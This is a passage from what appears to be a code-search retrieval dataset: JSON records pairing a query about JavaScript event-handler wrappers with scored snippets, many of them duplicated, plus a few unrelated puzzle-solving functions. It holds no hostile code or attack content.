wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "f43d0f6ec7102dfc1a053930344a3ab4", "score": "0.5887801", "text": "function addEvent() {\n\n }", "title": "" }, { "docid": "b7b88ba603e45473c48ea357df5cbc0e", "score": "0.5873754", "text": "once(eventName, cb) {\n const onceWrapper = (...args) => {\n cb(...args);\n this.off(eventName, onceWrapper);\n };\n return this.on(eventName, onceWrapper);\n }", "title": "" }, { "docid": "955ada6f289388e87cbee05fb9809562", "score": "0.5866333", "text": "function onceHandler() {\n fn.apply(context || obj, arguments);\n self._off(obj, types, onceHandler, context);\n }", "title": "" }, { "docid": "682289c3ffdbf3f3c07baae975b51ab1", "score": "0.5863302", "text": "function setUpHandler() {\n let button = document.getElementById('button');\n button.addEventListener(\"click\", handleClick);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "e7f9510872c458746d9890a153e80a5c", "score": "0.5860839", "text": "function addEventListener(node, eventName, handler, options) {\n if (options && typeof options !== 'boolean' && !onceSupported) {\n var once = options.once,\n capture = options.capture;\n var wrappedHandler = handler;\n\n if (!onceSupported && once) {\n wrappedHandler = handler.__once || function onceHandler(event) {\n this.removeEventListener(eventName, onceHandler, capture);\n handler.call(this, event);\n };\n\n handler.__once = wrappedHandler;\n }\n\n node.addEventListener(eventName, wrappedHandler, optionsSupported ? options : capture);\n }\n\n node.addEventListener(eventName, handler, options);\n}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "16b2bc17862ff5f8d68d63cdabae7286", "score": "0.58212745", "text": "function EventHandlers() {}", "title": "" }, { "docid": "28ec5702453194b21e2ecf9f6eae92c5", "score": "0.5817733", "text": "function handleClick() {\r\n if (typeof onCustomEvent === \"function\") onCustomEvent();\r\n }", "title": "" }, { "docid": "1ebffdc5bfbc54bbebc40cabca21a793", "score": "0.5817063", "text": "static eventCallback(fullKey, handler, zone) {\n return (event /** TODO #9100 */) => {\n if (KeyEventsPlugin.getEventFullKey(event) === fullKey) {\n zone.runGuarded(() => handler(event));\n }\n };\n }", "title": "" }, { "docid": "1ebffdc5bfbc54bbebc40cabca21a793", "score": "0.5817063", "text": "static eventCallback(fullKey, handler, zone) {\n return (event /** TODO #9100 */) => {\n if (KeyEventsPlugin.getEventFullKey(event) === fullKey) {\n zone.runGuarded(() => handler(event));\n }\n };\n }", "title": "" }, { "docid": "1ebffdc5bfbc54bbebc40cabca21a793", "score": "0.5817063", "text": "static eventCallback(fullKey, handler, zone) {\n return (event /** TODO #9100 */) => {\n if (KeyEventsPlugin.getEventFullKey(event) === fullKey) {\n zone.runGuarded(() => handler(event));\n }\n };\n }", "title": "" }, { "docid": "1ebffdc5bfbc54bbebc40cabca21a793", "score": "0.5817063", "text": "static eventCallback(fullKey, handler, zone) {\n return (event /** TODO #9100 */) => {\n if (KeyEventsPlugin.getEventFullKey(event) === fullKey) {\n zone.runGuarded(() => handler(event));\n }\n };\n }", "title": "" }, { "docid": "1ebffdc5bfbc54bbebc40cabca21a793", "score": "0.5817063", "text": "static eventCallback(fullKey, handler, zone) {\n return (event /** TODO #9100 */) => {\n if (KeyEventsPlugin.getEventFullKey(event) === fullKey) {\n zone.runGuarded(() => handler(event));\n }\n };\n }", "title": "" }, { "docid": "1ebffdc5bfbc54bbebc40cabca21a793", "score": "0.5817063", "text": "static eventCallback(fullKey, handler, zone) {\n return (event /** TODO #9100 */) => {\n if (KeyEventsPlugin.getEventFullKey(event) === fullKey) {\n zone.runGuarded(() => handler(event));\n }\n };\n }", "title": "" }, { "docid": "1ebffdc5bfbc54bbebc40cabca21a793", "score": "0.5817063", "text": "static eventCallback(fullKey, handler, zone) {\n return (event /** TODO #9100 */) => {\n if (KeyEventsPlugin.getEventFullKey(event) === fullKey) {\n zone.runGuarded(() => handler(event));\n }\n };\n }", "title": "" }, { "docid": "1ebffdc5bfbc54bbebc40cabca21a793", "score": "0.5817063", "text": "static eventCallback(fullKey, handler, zone) {\n return (event /** TODO #9100 */) => {\n if (KeyEventsPlugin.getEventFullKey(event) === fullKey) {\n zone.runGuarded(() => handler(event));\n }\n };\n }", "title": "" }, { "docid": "1ebffdc5bfbc54bbebc40cabca21a793", "score": "0.5817063", "text": "static eventCallback(fullKey, handler, zone) {\n return (event /** TODO #9100 */) => {\n if (KeyEventsPlugin.getEventFullKey(event) === fullKey) {\n zone.runGuarded(() => handler(event));\n }\n };\n }", "title": "" }, { "docid": "1ebffdc5bfbc54bbebc40cabca21a793", "score": "0.5817063", "text": "static eventCallback(fullKey, handler, zone) {\n return (event /** TODO #9100 */) => {\n if (KeyEventsPlugin.getEventFullKey(event) === fullKey) {\n zone.runGuarded(() => handler(event));\n }\n };\n }", "title": "" }, { "docid": "4bcd4ad030dc7407588aad4a0eefb9ff", "score": "0.58112967", "text": "function event( ) {\n// =============================================================\n\tvar ar_args = arrayfromargs( arguments );\n\teventProcess( ar_args );\n}", "title": "" }, { "docid": "624fd1c2c07da1ebe0bb0410c59ef60b", "score": "0.58037996", "text": "AddEvent() {}", "title": "" }, { "docid": "d8cefd7aa1977c3139b376d8f33fdffc", "score": "0.58035916", "text": "on()\n /*type, handler*/\n {}", "title": "" }, { "docid": "5dd9827c8c7d33b912cc43245cff86b5", "score": "0.580023", "text": "on(eventName, handler) {\n if (eventName == 'ready') {\n // latecomer !! for example via connectorPool.getConnector\n // connector might be ready or not ..\n // with earlier approach we might have missed on ready event because we are attaching handler like this:\n //\n // connectorPool.getConnector({ endpoint, host: address, port, deviceTag }).then(connector => {\n // connector.on('ready', () => {\n // onReconnect({ connector, slotName, program, selectorPredicate });\n // });\n // ...\n\n if (this.isReady()) {\n // connector already ready at time of attaching on ready event,\n // we have missed the event, now simulate the event so that\n // calling code handler is executed and client is aware of correct status\n handler(); // we call on('ready', () => { ... }) handler manually for attached code that missed the event\n }\n }\n\n // attach real handler\n super.on(eventName, handler);\n }", "title": "" }, { "docid": "55bd3589ac1a24bf76b950868cf6760b", "score": "0.57920843", "text": "handleFunction(event){\n\n }", "title": "" }, { "docid": "bab1c3ab0212407315eb045405256f16", "score": "0.5790751", "text": "function InternalEvent() {}", "title": "" }, { "docid": "8c4eaf5908e8e22ccbf2e7781466d177", "score": "0.57590646", "text": "event(event) {\n return event\n }", "title": "" }, { "docid": "be2375bad27cbbc2c23a7c053f7b68b7", "score": "0.5754717", "text": "_removeEventHandler(event, handler) {\n if (typeof event !== 'string') {\n // If `event` is a map, call `off()` for each entry.\n for (const eventName in event) {\n this._removeEventHandler(eventName, event[eventName]);\n }\n return;\n }\n\n const {events} = this;\n // Alias to a recognized gesture as necessary.\n const eventAlias = GESTURE_EVENT_ALIASES[event] || event;\n\n const eventRegistrar = events.get(eventAlias);\n\n if (!eventRegistrar) {\n return;\n }\n\n eventRegistrar.remove(event, handler);\n\n if (eventRegistrar.isEmpty()) {\n const {recognizerName} = eventRegistrar;\n // Disable recognizer if no more handlers are attached to its events\n let isRecognizerUsed = false;\n for (const eh of events.values()) {\n if (eh.recognizerName === recognizerName && !eh.isEmpty()) {\n isRecognizerUsed = true;\n break;\n }\n }\n if (!isRecognizerUsed) {\n this._toggleRecognizer(recognizerName, false);\n }\n }\n }", "title": "" }, { "docid": "e917c1b7723fb723f553b36d6fcb3928", "score": "0.5748885", "text": "function FsEventsHandler() {}", "title": "" }, { "docid": "e917c1b7723fb723f553b36d6fcb3928", "score": "0.5748885", "text": "function FsEventsHandler() {}", "title": "" }, { "docid": "e917c1b7723fb723f553b36d6fcb3928", "score": "0.5748885", "text": "function FsEventsHandler() {}", "title": "" }, { "docid": "e917c1b7723fb723f553b36d6fcb3928", "score": "0.5748885", "text": "function FsEventsHandler() {}", "title": "" }, { "docid": "e917c1b7723fb723f553b36d6fcb3928", "score": "0.5748885", "text": "function FsEventsHandler() {}", "title": "" }, { "docid": "e6b5cadffe0aec828bea59bca4ebfacc", "score": "0.57447374", "text": "registerEvents(){\n }", "title": "" }, { "docid": "4a94f8abbba64c5e8ed47f79d512e1b4", "score": "0.57225275", "text": "function InternalEvent() { }", "title": "" }, { "docid": "671a8f2f201a704b5881ee6c072f3231", "score": "0.570518", "text": "function on(event, callback) {\n var callbacks = handlers[event];\n if (callbacks === undefined) {\n callbacks = [];\n }\n callbacks.push(callback);\n handlers[event] = callbacks;\n }", "title": "" }, { "docid": "90472d1ff1b1adcac2b645bd739fd101", "score": "0.5702541", "text": "function $eventHandler(event) {\n\t\t// \"this\" is the element in question\n\t\treturn $fireEvent(this, event, arguments);\n\t}", "title": "" }, { "docid": "1244b2ddeb431c9ebf89db1820e9ff8f", "score": "0.5698573", "text": "function MyEventHandler(target) {\n this._target = target;\n this._triggered = false;\n this._status = StatusVal.NONE;\n}", "title": "" }, { "docid": "155cd6a4c1f0807ff6c02b3862db5808", "score": "0.5694504", "text": "once(event, listener) {\n return this.event.once(event, listener);\n }", "title": "" }, { "docid": "f97631be9b9ce87974714b8ab04246d7", "score": "0.5686703", "text": "function setEventSubscriber(fn) {\n\t\tcustomEventSubscriber = fn;\n\t}", "title": "" } ]
305ce50a346b158e1e805c13fc9e01f6
Things Raw Counts: Earth: 18153 Air: 6272 Fire: 16220 Water: 17446 Light: 7423 Total Tasks: 443 Largest Tasks: Supercluster (1864 raw, 1647 steps) Envy (1127 raw, 988 steps) Liberality (1127 raw, 981 steps) Kindness (1127 raw, 981 steps) Shortest Ends: Dust (2 raw, 1 steps) Fern (13 raw, 8 steps) Butterfly (11 raw, 8 steps) Firefly (12 raw, 9 steps)
[ { "docid": "6b087dc0d6bdd706558144463514faef", "score": "0.0", "text": "function loadGame(saveData) {\n let todo = [];\n for(let t in saveData.times) {\n let task = tasks[t];\n if(typeof task === \"undefined\")\n continue;\n\n task.times = saveData.times[t];\n if(task.limit > 0) {\n task.limit -= task.times;\n task.limit = Math.max(task.limit, 0);\n }\n }\n for(let i = 0; i < saveData.todo.length; i++) {\n let item = saveData.todo[i];\n if(!tasks[item.id])\n continue;\n\n let task = tasks[item.id];\n task.started = item.started;\n task.startTime = item.startTime;\n\n todo.push(task);\n }\n\n GameController.setState({\n todo: todo,\n saved: true,\n });\n}", "title": "" } ]
[ { "docid": "9f73a67a2de81816cdaaa8228a174321", "score": "0.5819375", "text": "function tally() {\n var all = intlabels();\n //snzlDel(); // Would make sense to do this but too slow...\n //snzlAdd(all);\n var d = new Date();\n var h = d.getHours();\n if(h>=12 && all.length>=2 && l2i(all[0].getName())==0 \n && l2i(all[1].getName())==1) {\n var x = all.shift();\n var y = all.shift();\n all.unshift(y, x); // if after noon, show label 0 after label 1\n }\n // the string s will be an ascii table of thread counts and cumulative counts\n var s = \"SNZ\\tTHR\\tTOT\\n\\t\";\n var page;\n page = GmailApp.getInboxThreads(0,100);\n var n = page.length;\n var cum = n;\n var initcount = '' + n + (n==100 ? \"+\" : \"\");\n s += initcount + \"\\t\" + initcount + \"\\n\";\n \n for(var i = 0; i < all.length; i++) {\n var ln = all[i].getName(); // label's name\n var l = all[i]; // actual label object\n if(!l) { s += \" ERROR with label \"+ln; continue; }\n s += \"\" + ln + \"\\t\";\n n = l.getThreads(0,100).length;\n cum += n;\n s += n + (n==100 ? \"+\" : \"\") + \"\\t\" + cum + \"\\n\";\n }\n return s;\n //MailApp.send Email(Session.get User().get Email(), \"SnoozeStats\", s);\n}", "title": "" }, { "docid": "4c0f54f29375de53b5f21b3106c20d9f", "score": "0.5732013", "text": "function summary_legacy(input) {\n characterCount = input.length;\n topWords = getTopNWords(input, 4);\n var finalSummary = [];\n var paragraphArray = input.split(/\\n/).filter(v => v !== \"\");\n\n for (var i = 0; i < paragraphArray.length; i++) {\n finalSummary.push(paragraphSummary(paragraphArray[i]));\n }\n var summary = finalSummary.join(\"\\n\");\n summaryCount = summary.length;\n return (\"KEYWORDS: \").concat(topWords.join(\", \")\n // +(\"\\nReduced by: \"+Math.ceil(100 - (10*(characterCount / summaryCount)))+\"% \")\n + \"\\n ======================================================================================================\\n\" + summary);\n}", "title": "" }, { "docid": "3cea8a6fa14e8d7cf8a7b8ea337a183d", "score": "0.55337924", "text": "function part2() {\n return pullDataForDay(4)\n .split('\\n\\n')\n .map(row => (\n row\n .split(/( |\\n)/)\n .filter(x => x != '\\n' && x != ' ')\n .map(x => x.split(':'))\n .reduce((dict, [type, val]) => ({ ...dict, [type]: val }), {})\n ))\n .map((dict) => {\n if(!dict['byr'] || !dict['iyr'] || !dict['eyr'] || !dict['hgt'] || !dict['hcl'] || !dict['ecl'] || !dict['pid']) return 0\n\n if((dict['byr'] < 1920 || dict['byr'] > 2002)) return 0\n\n if((dict['iyr'] < 2010 || dict['iyr'] > 2020)) return 0\n\n if((dict['eyr'] < 2020 || dict['eyr'] > 2030)) return 0\n\n if(!/(cm|in)/.test(dict['hgt'])) return 0\n const height = Number((dict['hgt'].match(/\\d+/) || [])[0])\n if(/cm/.test(dict['hgt']) && (height < 150 || height > 193)) return 0\n if(/in/.test(dict['hgt']) && (height < 59 || height > 76)) return 0\n\n if(!/#[0-9a-f]{6}/.test(dict['hcl'])) return 0\n\n if(!/(amb|blu|brn|gry|grn|hzl|oth)/.test(dict['ecl'])) return 0\n\n if(!/^\\d{9}$/.test(dict['pid'])) return 0\n\n return 1\n })\n .reduce((total, next) => total += next, 0)\n}", "title": "" }, { "docid": "2eacf2fed463e448f87252c99e84f24b", "score": "0.55082744", "text": "reduceLabels() {\n let tempLabels = [\"start\"]\n let t = 0;\n this.props.updates.forEach(e => tempLabels.push(e.time))\n\n\n return tempLabels;\n }", "title": "" }, { "docid": "354b2d9afe514156149362b81fda4965", "score": "0.55003214", "text": "async function totalEachItemQuantities() {\n let words = await extractAllSubStrings();\n let itemCount = { hotdogs: 0, hamburgers: 0, sodas: 0, cookies: 0 };\n for(let i = 0; i < words.length; i++) {\n if (words[i] === \"Item:\"){\n if (words[i + 1] === \"hotdog\") {\n itemCount.hotdogs += parseInt(words[i + 3]);\n } else if (words[i + 1] === \"hamburger\") {\n itemCount.hamburgers += parseInt(words[i + 3]);\n } else if (words[i + 1] === \"soda\") {\n itemCount.sodas += parseInt(words[i + 3]);\n } else if (words[i + 1] === \"cookie\") {\n itemCount.cookies += parseInt(words[i + 3]);\n }\n }\n }\n\n return itemCount;\n}", "title": "" }, { "docid": "cfa1e35851585b501dc186ec5de37c8b", "score": "0.5461369", "text": "function getPriests(rawData) {\n return rawData.map(function(d,i) {\n // is this word a filler word?\n d.incriminated = (d.Status === \"incriminated\") ? true : false;\n // time in seconds word was spoken\n d.time = +d.time;\n // time in minutes word was spoken\n d.min = Math.floor(d.time / 60);\n\n // positioning for square visual\n // stored here to make it easier\n // to keep track of.\n d.col = i % numPerRow;\n d.x = d.col * (squareSize + squarePad);\n d.row = Math.floor(i / numPerRow);\n d.y = d.row * (squareSize + squarePad);\n return d;\n });\n }", "title": "" }, { "docid": "47fead05ff6ac51220cc657adc51f79e", "score": "0.54036045", "text": "function getSteps() {\n return (wordChip.map(data =>{\n return data.label\n }))\n }", "title": "" }, { "docid": "7d045d4e348b57c6e7ea880c43c43c72", "score": "0.5386057", "text": "function main() {\n // the number of queries\n const n = parseInt(readLine());\n let count = new Array(100);\n count.fill(0);\n let values = Array.apply(null, Array(100));\n values = values.map(function () { return new Array(); });\n // calculate the histogram of key frequencies: \n for (let i=0; i < n; i++){\n let ar = readLine().split(' ');\n let key = parseInt(ar[0]);\n count[key]++;\n if (i < n/2) {\n values[key].push('-'); \n } else\n {\n values[key].push(ar[1]);\n }\n }\n // calculate the starting index for each key:\n let output = new Array();\n for(let i=0; i<100; i++) {\n let cnt = count[i];\n // for the number of times the item occurs\n for(let j=0;j<cnt;j++){\n output.push(values[i].shift());\n }\n }\n console.log(output.join(' ')); \n}", "title": "" }, { "docid": "7a660915a97000571b59ae3a385919d2", "score": "0.52571267", "text": "function day4(data){\n // console.log(data);\n // data = data.split(`\\n \\n`)\n // console.log(data);\n let count = 0\n // data.split(\" \" || '\\n')\n data.forEach(str => {\n str = str.split(`\\n`).join(\" \")\n let arr= str.split(\" \").filter(e=>e.length > 1)\n // console.log(arr);\n let dict= {}\n let valid = true\n arr.map(e=> {\n e = e.split(\":\")\n // console.log(e);\n dict[e[0]] = e[1]\n })\n let run = true\n if(!('byr' in dict) || !('iyr' in dict) || !('eyr' in dict)|| !('hgt' in dict)|| !('hcl' in dict)|| !('ecl' in dict)|| !('pid' in dict) ){\n valid = false\n run = false\n }\n // console.log(dict);\n if(run){\n // console.log(dict);\n if(dict['byr'] <1920 || dict['byr'] > 2002){\n valid = false\n }\n if(dict['iyr'] <2010 || dict['iyr'] > 2020){\n valid = false\n }\n if(dict['eyr'] <2020 || dict['eyr'] > 2030){\n valid = false\n }\n if(dict['hgt'].substring(dict['hgt'].length-2) == 'cm'){\n if( dict['hgt'].substring(0,3) <= 150 || dict['hgt'].substring(0,3) >= 193){\n valid = false\n }\n }else if(dict['hgt'].substring(dict['hgt'].length-2) == 'in'){\n if( dict['hgt'].substring(0,2) <= 59 || dict['hgt'].substring(0,2) >= 76){\n valid = false\n console.log(dict['hgt'] ,'hgt');\n }else {\n console.log(dict['hgt'] ,'good hgt');\n }}else {\n valid = false \n }\n\n// had to force my way through\n if(dict['hcl'][0] != '#' || dict['hcl'].length > 7 || dict['hcl'].length < 7 || dict['hcl'].includes('g') || dict['hcl'].includes('h') || dict['hcl'].includes('i')|| dict['hcl'].includes('j')|| dict['hcl'].includes('k')|| dict['hcl'].includes('l')|| dict['hcl'].includes('m')|| dict['hcl'].includes('n')|| dict['hcl'].includes('o')|| dict['hcl'].includes('p')|| dict['hcl'].includes('q')|| dict['hcl'].includes('r')|| dict['hcl'].includes('s')|| dict['hcl'].includes('t')|| dict['hcl'].includes('u')|| dict['hcl'].includes('v')|| dict['hcl'].includes('w')|| dict['hcl'].includes('x')|| dict['hcl'].includes('y')|| dict['hcl'].includes('z') ){\n valid = false\n }\n if(dict['ecl'] != \"amb\" && dict[\"ecl\"] != \"blu\" && dict[\"ecl\"] != \"brn\" && dict[\"ecl\"] != \"gry\" && dict[\"ecl\"] != \"grn\" && dict[\"ecl\"] != \"hzl\" && dict[\"ecl\"] != \"oth\"){\n valid = false\n }\n // dict['pid'] = parseInt(dict['pid'])\n if( dict['pid'].toString().length > 9 || dict['pid'].toString().length < 9){\n valid = false\n }\n if(valid){\n count++\n }\n\n // let valid = true\n // arr.forEach(rule => {\n // rule = rule.split(\":\")\n // if(rule[0] == 'byr' && rule[1] > 1920 && rule[2] < 2002){\n \n // }\n // });\n\n\n //NOTE pt1\n // if(str.includes(\"ecl\") && str.includes(\"pid\") && str.includes(\"hcl\") && str.includes(\"byr\") && str.includes(\"iyr\") && str.includes(\"hgt\") && str.includes(\"eyr\")){\n // count++\n // }\n }\n \n\n });\n // console.log(data);\n console.log(count)\n }", "title": "" }, { "docid": "2edcb5a4d169ad77aefa6cd0713dbb0a", "score": "0.525166", "text": "function processData(input) {\n let setup = input.split(\"\\n\"),\n params = setup[0].split(' ').map(Number),\n flowers = setup[1].split(' ').map(Number).sort((a,b) => b - a),\n N = params[0],\n K = params[1], \n total = 0;\n if (K >= N) {\n console.log(flowers.reduce( (prev, curr) => prev + curr )); \n } else {\n for (let i = 0; i < N; i++) {\n total += Math.floor(i / K + 1) * flowers[i];\n } \n console.log(total);\n }\n}", "title": "" }, { "docid": "0210030a362bd492d09250019877c2e8", "score": "0.52464724", "text": "function RunLength(str) {\n\n arr = str.split('');\n rtArr = [];\n var counts = {};\n arr.forEach(function(x) { counts[x] = (counts[x] || 0)+1; });\n for (var key in counts){\n rtArr.push(counts[key]);\n 